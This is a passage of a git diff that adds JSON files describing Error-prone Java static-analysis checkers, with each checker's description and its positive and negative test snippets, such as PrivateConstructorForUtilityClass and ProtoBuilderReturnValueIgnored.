"returnTypeList_singleReturnStatementArrayList_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 489 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n final List foo() {\n return new ArrayList<>();\n }\n }" + }, + { + "description": "returnTypeList_singleReturnStatementList_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 507 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n final List foo() {\n return new ArrayList<>();\n }\n }" + }, + { + "description": "returnTypeList_multipleReturnStatementsImmutableList_suggestsImmutableList", + "expected-problems": null, + "expected-linenumbers": [ + 525 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: ImmutableList foo()\n final List foo() {\n if (true) {\n return ImmutableList.of();\n } else {\n return ImmutableList.of();\n }\n }\n }" + }, + { + "description": "returnTypeList_multipleReturnStatementsArrayListImmutableList_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 548 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n final List foo() {\n if (true) {\n return ImmutableList.of();\n } else {\n return new ArrayList<>();\n }\n }\n }" + }, + { + "description": "returnTypeList_multipleReturnStatementsImmutableSetImmutableList_suggestsImmutableCollection", + "expected-problems": null, + "expected-linenumbers": [ + 571 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableSet;\n import java.util.Collection;\n\n class Test {\n // BUG: Diagnostic contains: ImmutableCollection foo()\n final Collection foo() {\n if (true) {\n return ImmutableList.of();\n } else {\n return ImmutableSet.of();\n }\n }\n }" + }, + { + "description": "returnTypeList_multipleReturnStatementsImmutableSetImmutableMap_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 596 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n final Object foo() {\n if (true) {\n return ImmutableList.of();\n } else {\n return ImmutableMap.of();\n }\n }\n }" + }, + { + "description": "returnTypeList_multipleReturnStatementsImmutableMapImmutableBiMap_suggestsImmutableMap", + "expected-problems": null, + "expected-linenumbers": [ + 618 + ], + "code": "import com.google.common.collect.ImmutableBiMap;\n import com.google.common.collect.ImmutableMap;\n import java.util.Map;\n\n class Test {\n // BUG: Diagnostic contains: final ImmutableMap foo()\n final Map foo() {\n if (true) {\n return ImmutableBiMap.of();\n } else {\n return ImmutableMap.of();\n }\n }\n }" + }, + { + "description": "returnTypeList_insideAnonymousNested_suggestsImmutableList", + "expected-problems": null, + "expected-linenumbers": [ + 643 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.inject.Provider;\n import java.util.List;\n\n class Test {\n private static final int getFooLength() {\n final Provider> fooProvider =\n new Provider>() {\n @Override\n // BUG: Diagnostic contains: ImmutableList get\n public List get() {\n return ImmutableList.of(\"foo\", \"bar\");\n }\n };\n List foo = fooProvider.get();\n return foo.size();\n }\n }" + }, + { + "description": "returnTypeList_anonymousLambda_suggestsNothing", + "expected-problems": null, + "expected-linenumbers": [ + 671 + ], + "code": "import java.util.function.Function;\n import java.util.List;\n\n public interface ApplyInterface {\n int applyAndGetSize(Function> fun);\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.function.Function;\n import java.util.List;\n\n public class ApplyImpl implements ApplyInterface {\n public int applyAndGetSize(Function> fun) {\n List result = fun.apply(\"foo,bar\");\n return result.size();\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.function.Function;\n import java.util.List;\n\n class Test {\n private static final ApplyInterface APPLY = new ApplyImpl();\n\n private int doApply() {\n int result =\n APPLY.applyAndGetSize(\n str -> {\n ImmutableList res = ImmutableList.of(str, str);\n return res;\n });\n return result;\n }\n }" + }, + { + "description": "overridingMethod_specialNotice", + "expected-problems": null, + "expected-linenumbers": [ + 722 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.inject.Provider;\n import java.util.List;\n\n class Test {\n private static final int getFooLength() {\n final Provider> fooProvider =\n new Provider>() {\n @Override\n // BUG: Diagnostic contains: even when overriding a method\n public List get() {\n return ImmutableList.of(\"foo\", \"bar\");\n }\n };\n List foo = fooProvider.get();\n return foo.size();\n }\n }" + }, + { + "description": "iterable_givenMoreTypeInformationAvailable_refactored", + "expected-problems": null, + "expected-linenumbers": [ + 750 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n final ImmutableList foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "immutableMap_notReplacedWithBiMap", + "expected-problems": null, + "expected-linenumbers": [ + 767 + ], + "code": "import com.google.common.collect.ImmutableBiMap;\n import com.google.common.collect.ImmutableMap;\n\n class Test {\n final ImmutableMap foo() {\n return ImmutableBiMap.of();\n }\n }" + }, + { + "description": "diagnosticMessage_whenReplacingWithNonImmutableType", + "expected-problems": null, + "expected-linenumbers": [ + 785 + ], + "code": "import com.google.common.collect.ArrayListMultimap;\n import com.google.common.collect.HashMultimap;\n import com.google.common.collect.Multimap;\n import com.google.common.collect.ImmutableListMultimap;\n import com.google.common.collect.ImmutableMultimap;\n import com.google.common.collect.ImmutableSetMultimap;\n\n class Test {\n // BUG: Diagnostic contains: convey more information\n final Multimap foo() {\n return ArrayListMultimap.create();\n }\n\n // BUG: Diagnostic contains: convey more information\n final Multimap bar() {\n return HashMultimap.create();\n }\n\n // BUG: Diagnostic contains: convey more information\n final ImmutableMultimap baz() {\n return ImmutableListMultimap.of();\n }\n\n // BUG: Diagnostic contains: convey more information\n final ImmutableMultimap quux() {\n return ImmutableSetMultimap.of();\n }\n }" + }, + { + "description": "staticFinalIterableInitializedInDeclarationWithImmutableSetOf", + "expected-problems": null, + "expected-linenumbers": [ + 823 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableSet FOO =\n static final Iterable FOO = ImmutableSet.of();\n }" + }, + { + "description": "bind", + "expected-problems": null, + "expected-linenumbers": [ + 839 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.inject.testing.fieldbinder.Bind;\n import java.util.List;\n\n class Test {\n @Bind private static final List LABELS = ImmutableList.of(\"MiniCluster\");\n }" + }, + { + "description": "staticFinalMapInitializedInDeclarationWithImmutableBiMapOf", + "expected-problems": null, + "expected-linenumbers": [ + 856 + ], + "code": "import com.google.common.collect.ImmutableBiMap;\n import java.util.Map;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableMap FOO =\n static final Map FOO = ImmutableBiMap.of();\n }" + }, + { + "description": "staticFinalSetInitializedInDeclarationWithImmutableSetOf", + "expected-problems": null, + "expected-linenumbers": [ + 873 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableSet FOO =\n static final Set FOO = ImmutableSet.of();\n }" + }, + { + "description": "staticFinalRawSetInitializedInDeclarationWithImmutableSetOf", + "expected-problems": null, + "expected-linenumbers": [ + 890 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableSet FOO =\n static final Set FOO = ImmutableSet.of();\n }" + }, + { + "description": "staticFinalSetInitializedInDeclarationWithImmutableSetBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 907 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableSet FOO =\n static final Set FOO = ImmutableSet.builder().build();\n }" + }, + { + "description": "staticFinalListInitializedInDeclarationWithImmutableListOf", + "expected-problems": null, + "expected-linenumbers": [ + 924 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableList FOO =\n static final List FOO = ImmutableList.of();\n }" + }, + { + "description": "staticFinalMapInitializedInDeclarationWithImmutableMapOf", + "expected-problems": null, + "expected-linenumbers": [ + 941 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import java.util.Map;\n\n class Test {\n // BUG: Diagnostic contains: static final ImmutableMap FOO =\n static final Map FOO = ImmutableMap.of();\n }" + }, + { + "description": "staticFinalImmutableSetInitializedInDeclarationWithImmutableSet_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 958 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n class Test {\n static final ImmutableSet FOO = ImmutableSet.of();\n }" + }, + { + "description": "staticFinalSetInitializedInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 973 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n class Test {\n private static final ImmutableSet FOO;\n\n static {\n FOO = ImmutableSet.of();\n }\n }" + }, + { + "description": "nonStatic", + "expected-problems": null, + "expected-linenumbers": [ + 992 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n class Test {\n final ImmutableSet NON_STATIC = ImmutableSet.of();\n }" + }, + { + "description": "nonFinal", + "expected-problems": null, + "expected-linenumbers": [ + 1007 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n\n class Test {\n static Set NON_FINAL = ImmutableSet.of();\n }" + }, + { + "description": "nonCapitalCase_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 1023 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n\n class Test {\n static final ImmutableSet nonCapitalCase = ImmutableSet.of();\n }" + }, + { + "description": "mutable_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 1039 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n static Iterable mutable = new ArrayList<>();\n }" + }, + { + "description": "replacementNotSubtypeOfDeclaredType_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 1055 + ], + "code": "import java.util.Deque;\n import java.util.LinkedList;\n\n class Test {\n private final Deque foos = new LinkedList<>();\n }" + }, + { + "description": "charSequences", + "expected-problems": null, + "expected-linenumbers": [ + 1071 + ], + "code": "class Test {\n // BUG: Diagnostic contains: String\n private final CharSequence a = \"foo\";\n }" + }, + { + "description": "obeysKeep", + "expected-problems": null, + "expected-linenumbers": [ + 1085 + ], + "code": "import com.google.errorprone.annotations.Keep;\n import java.util.ArrayList;\n\n class Test {\n @Keep private static final Iterable FOO = new ArrayList<>();\n }" + }, + { + "description": "javaLangNotQualified", + "expected-problems": null, + "expected-linenumbers": [ + 1102 + ], + "code": "class Test {\n private CharSequence cs() {\n return \"\";\n }\n }\n \n\n class Test {\n private String cs() {\n return \"\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveArrayPassedToVarargsMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveArrayPassedToVarargsMethod.json new file mode 100644 index 0000000..76f0470 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveArrayPassedToVarargsMethod.json @@ -0,0 +1,30 @@ +{ + "name": "PrimitiveArrayPassedToVarargsMethod", + "language": "java", + "description": "Passing a primitive array to a varargs method is usually wrong", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Arrays;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class PrimitiveArrayPassedToVarargsMethodPositiveCases {\n\n public void objectVarargsMethod(Object... objs) {}\n\n public void genericVarargsMethod(T... genericArrays) {}\n\n public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {}\n\n public void doIt() {\n int[] intArray = {1, 2, 3};\n\n // BUG: Diagnostic contains:\n objectVarargsMethod(intArray);\n\n // BUG: Diagnostic contains:\n genericVarargsMethod(intArray);\n\n // BUG: Diagnostic contains:\n objectVarargsMethodWithMultipleParams(new Object(), intArray);\n\n // BUG: Diagnostic contains:\n Arrays.asList(intArray);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class PrimitiveArrayPassedToVarargsMethodNegativeCases {\n\n public void intVarargsMethod(int... ints) {}\n\n public void intArrayVarargsMethod(int[]... intArrays) {}\n\n public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {}\n\n public void doIt() {\n int[] intArray = {1, 2, 3};\n\n intVarargsMethod(intArray);\n intArrayVarargsMethod(intArray);\n objectVarargsMethodWithMultipleParams(new Object());\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveAtomicReference.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveAtomicReference.json new file mode 100644 index 0000000..ac564c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveAtomicReference.json @@ -0,0 +1,38 @@ +{ + "name": "PrimitiveAtomicReference", + "language": "java", + "description": "Using compareAndSet with boxed primitives is dangerous, as reference rather than value equality is used. Consider using AtomicInteger, AtomicLong, AtomicBoolean from JDK or AtomicDouble from Guava instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n private AtomicReference ref = new AtomicReference<>();\n\n public boolean cas(int i) {\n // BUG: Diagnostic contains:\n return ref.compareAndSet(i, 10);\n }\n }" + }, + { + "description": "negativeNull", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n private AtomicReference ref = new AtomicReference<>();\n\n public boolean cas() {\n return ref.compareAndSet(null, 10);\n }\n }" + }, + { + "description": "negativeNotBoxedType", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n private AtomicReference ref = new AtomicReference<>();\n\n public boolean cas(String s) {\n return ref.compareAndSet(s, \"foo\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateConstructorForUtilityClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateConstructorForUtilityClass.json new file mode 100644 index 0000000..ecaa897 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateConstructorForUtilityClass.json @@ -0,0 +1,198 @@ +{ + "name": "PrivateConstructorForUtilityClass", + "language": "java", + "description": "Classes which are not intended to be instantiated should be made non-instantiable with a private constructor. This includes utility classes (classes with only static members), and the main class.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "emptyClassesGetLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "" + }, + { + "description": "privateClassesGetLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 41 + ], + "code": "final class Test {\n private static class Blah {\n static void blah() {}\n }\n\n private Test() {}\n }" + }, + { + "description": "subClassesGetLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "public class Foo {\n private E entity;\n\n public E getEntity() {\n return entity;\n }\n\n public void setEntity(E anEntity) {\n entity = anEntity;\n }\n\n public static class BooleanFoo extends Foo {\n private static final long serialVersionUID = 123456789012L;\n }\n }" + }, + { + "description": "implementingClassesGetLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import java.io.Serializable;\n\n public class Foo {\n private int entity;\n\n public int getEntity() {\n return entity;\n }\n\n public void setEntity(int anEntity) {\n entity = anEntity;\n }\n\n public static class Bar implements Serializable {\n private static final long serialVersionUID = 123456789012L;\n }\n }" + }, + { + "description": "privateScopedClassesGetLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "final class Test {\n private static class Blah {\n static class Bleh {\n static void bleh() {}\n }\n }\n\n private Test() {}\n }" + }, + { + "description": "utilityClassesGetAPrivateConstructor_onlyFields", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "final class Test {\n static final String SOME_CONSTANT = \"\";\n }\n \n\n final class Test {\n static final String SOME_CONSTANT = \"\";\n\n private Test() {}\n }" + }, + { + "description": "utilityClassesGetAPrivateConstructor_onlyMethods", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "final class Test {\n static void blah() {}\n }\n \n\n final class Test {\n static void blah() {}\n\n private Test() {}\n }" + }, + { + "description": "utilityClassesGetAPrivateConstructor_onlyNestedClasses", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "final class Test {\n static class Blah {}\n }\n \n\n final class Test {\n static class Blah {}\n\n private Test() {}\n }" + }, + { + "description": "utilityClassesGetAPrivateConstructor_onlyStaticInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "final class Test {\n static {\n }\n }\n \n\n final class Test {\n static {\n }\n\n private Test() {}\n }" + }, + { + "description": "utilityClassesWithAConstructorGetLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "final class Test {\n static void blah() {}\n\n Test() {}\n }" + }, + { + "description": "otherClassesGetLeftAlone_field", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "final class Test {\n private Object blah;\n }" + }, + { + "description": "otherClassesGetLeftAlone_method", + "expected-problems": null, + "expected-linenumbers": [ + 253 + ], + "code": "final class Test {\n void blah() {}\n }" + }, + { + "description": "otherClassesGetLeftAlone_innerClass", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "final class Test {\n class Blah {}\n }" + }, + { + "description": "otherClassesGetLeftAlone_initializer", + "expected-problems": null, + "expected-linenumbers": [ + 281 + ], + "code": "final class Test {\n {\n }\n }" + }, + { + "description": "otherClassesGetLeftAlone_constructor", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "final class Test {\n Test() {}\n }" + }, + { + "description": "otherClassesGetLeftAlone_interface", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "interface Test {\n void blah();\n }" + }, + { + "description": "otherClassesGetLeftAlone_enum", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "enum Test {\n INSTANCE;\n }" + }, + { + "description": "b30170662", + "expected-problems": null, + "expected-linenumbers": [ + 338 + ], + "code": "// BUG: Diagnostic contains:\n public class Foo {\n enum Enum {}\n\n @interface Annotation {}\n\n interface Interface {}\n }" + }, + { + "description": "ignoreTestClasses", + "expected-problems": null, + "expected-linenumbers": [ + 356 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n final class Test {\n @RunWith(JUnit4.class)\n private static class Blah {\n static void blah() {}\n }\n }" + }, + { + "description": "finalAdded", + "expected-problems": null, + "expected-linenumbers": [ + 377 + ], + "code": "class Test {\n static final String SOME_CONSTANT = \"\";\n }\n \n\n final class Test {\n static final String SOME_CONSTANT = \"\";\n\n private Test() {}\n }" + }, + { + "description": "abstractClass_noPrivateConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 399 + ], + "code": "abstract class Test {\n static final String SOME_CONSTANT = \"\";\n }" + }, + { + "description": "record", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "package example;\n\n // BUG: Diagnostic contains:\n public final class ExampleUtilityClass {\n public record SomeRecord(String value) {}\n }" + }, + { + "description": "ignoreAutoValue", + "expected-problems": null, + "expected-linenumbers": [ + 429 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n public abstract class Foo {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateSecurityContractProtoAccess.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateSecurityContractProtoAccess.json new file mode 100644 index 0000000..f041276 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateSecurityContractProtoAccess.json @@ -0,0 +1,38 @@ +{ + "name": "PrivateSecurityContractProtoAccess", + "language": "java", + "description": "Access to a private protocol buffer field is forbidden. This protocol buffer carries a security contract, and can only be created using an approved library. Direct access to the fields is forbidden.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.html.types.SafeHtmlProto;\nimport com.google.protobuf.ByteString;\n\npublic class PrivateSecurityContractProtoAccessPositiveCases {\n static SafeHtmlProto safeHtmlProto;\n\n static {\n safeHtmlProto =\n SafeHtmlProto.newBuilder()\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n .clearPrivateDoNotAccessOrElseSafeHtmlWrappedValue()\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n .setPrivateDoNotAccessOrElseSafeHtmlWrappedValue(\"foo\")\n .build();\n }\n\n static SafeHtmlProto safeHtmlProtoFromBytes;\n\n static {\n safeHtmlProtoFromBytes =\n SafeHtmlProto.newBuilder()\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n .setPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(ByteString.copyFromUtf8(\"foo\"))\n .build();\n }\n\n static String readSafeHtmlProto(SafeHtmlProto safeHtmlProto) {\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) {\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue();\n }\n return \"\";\n }\n\n static ByteString readSafeHtmlProtoBytes(SafeHtmlProto safeHtmlProto) {\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes();\n }\n\n static String readSafeHtmlProtoBuilder(SafeHtmlProto.Builder safeHtmlProto) {\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) {\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue();\n }\n return \"\";\n }\n\n static ByteString readSafeHtmlProtoBuilderBytes(SafeHtmlProto.Builder safeHtmlProto) {\n // BUG: Diagnostic contains: Forbidden access to a private proto field\n return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes();\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.html.types.SafeHtml;\n import com.google.common.html.types.SafeHtmlProto;\n import com.google.common.html.types.SafeHtmls;\n\n public class PrivateSecurityContractProtoAccessNegativeCases {\n static SafeHtmlProto safeHtmlProto;\n\n static {\n safeHtmlProto = SafeHtmls.toProto(SafeHtml.EMPTY);\n }\n\n static SafeHtml safeHtml;\n\n static {\n safeHtml = SafeHtmls.fromProto(safeHtmlProto);\n }\n }\\" + }, + { + "description": "safeHtmlAccessWithinPackage", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package com.google.common.html.types;\n\n import com.google.common.html.types.SafeHtmlProto;\n\n class Test {\n SafeHtmlProto buildProto() {\n return SafeHtmlProto.newBuilder()\n .setPrivateDoNotAccessOrElseSafeHtmlWrappedValue(\"foo\")\n .build();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtectedMembersInFinalClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtectedMembersInFinalClass.json new file mode 100644 index 0000000..ae738e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtectedMembersInFinalClass.json @@ -0,0 +1,54 @@ +{ + "name": "ProtectedMembersInFinalClass", + "language": "java", + "description": "Protected members in final classes can be package-private", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "final class Test {\n protected void methodOne() {}\n\n protected void methodTwo() {}\n\n protected String var1;\n protected int var2;\n }\n \n\n final class Test {\n void methodOne() {}\n\n void methodTwo() {}\n\n String var1;\n int var2;\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Base {\n protected void protectedMethod() {}\n }\n \n\n final class Test extends Base {\n public void publicMethod() {}\n\n void packageMethod() {}\n\n private void privateMethod() {}\n\n @Override\n protected void protectedMethod() {}\n\n public int publicField;\n int packageField;\n private int privateField;\n }" + }, + { + "description": "diagnosticStringWithMultipleMemberMatches", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Make members of final classes package-private: methodOne, methodTwo,\n // fieldOne, fieldTwo\n protected void methodOne() {}\n\n protected void methodTwo() {}\n\n public void publicMethod() {}\n\n private void privateMethod() {}\n\n void packageMethod() {}\n\n protected int fieldOne;\n protected long fieldTwo;\n public int publicField;\n int packageField;\n private int privateField;\n}" + }, + { + "description": "methodSuppression", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "final class Test {\n @SuppressWarnings(\"ProtectedMembersInFinalClass\")\n protected void methodOne() {}\n }" + }, + { + "description": "constructorFindingDescription", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Test\n protected Test() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoBuilderReturnValueIgnored.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoBuilderReturnValueIgnored.json new file mode 100644 index 0000000..2a4cc32 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoBuilderReturnValueIgnored.json @@ -0,0 +1,46 @@ +{ + "name": "ProtoBuilderReturnValueIgnored", + "language": "java", + "description": "Unnecessary call to proto's #build() method. If you don't consume the return value of #build(), the result is discarded and the only effect is to verify that all required fields are set, which can be expressed more directly with #isInitialized().", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 5, + "apis": 3, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration.Builder proto) {\n proto.clearSeconds().build();\n }\n }\n \n\n import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration.Builder proto) {\n proto.clearSeconds();\n }\n }" + }, + { + "description": "toBuilderExempted", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration proto) {\n proto.toBuilder().clearSeconds().build();\n }\n }" + }, + { + "description": "refactoringReceiverIsOnlyIdentifier", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration.Builder proto) {\n proto.build();\n }\n }\n \n\n import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration.Builder proto) {}\n }" + }, + { + "description": "refactoringSecondFix", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration.Builder proto) {\n proto.build();\n }\n }\n \n\n import static com.google.common.base.Preconditions.checkState;\n import com.google.protobuf.Duration;\n\n final class Test {\n private void singleField(Duration.Builder proto) {\n checkState(proto.isInitialized());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoStringFieldReferenceEquality.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoStringFieldReferenceEquality.json new file mode 100644 index 0000000..22d979a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoStringFieldReferenceEquality.json @@ -0,0 +1,30 @@ +{ + "name": "ProtoStringFieldReferenceEquality", + "language": "java", + "description": "Comparing protobuf fields of type String using reference equality", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.protobuf;\n\n public class GeneratedMessage {}\n \n\n public abstract class Proto extends com.google.protobuf.GeneratedMessage {\n public abstract String getMessage();\n }\n \n\n class Test {\n boolean g(Proto proto) {\n boolean r = false;\n // BUG: Diagnostic contains: proto.getMessage().equals(\"\")\n r |= proto.getMessage() == \"\";\n // BUG: Diagnostic contains: \"\".equals(proto.getMessage())\n r |= \"\" == proto.getMessage();\n // BUG: Diagnostic contains: !proto.getMessage().equals(\"\")\n r |= proto.getMessage() != \"\";\n return r;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "package com.google.protobuf;\n\n public class GeneratedMessage {}\n \n\n public abstract class 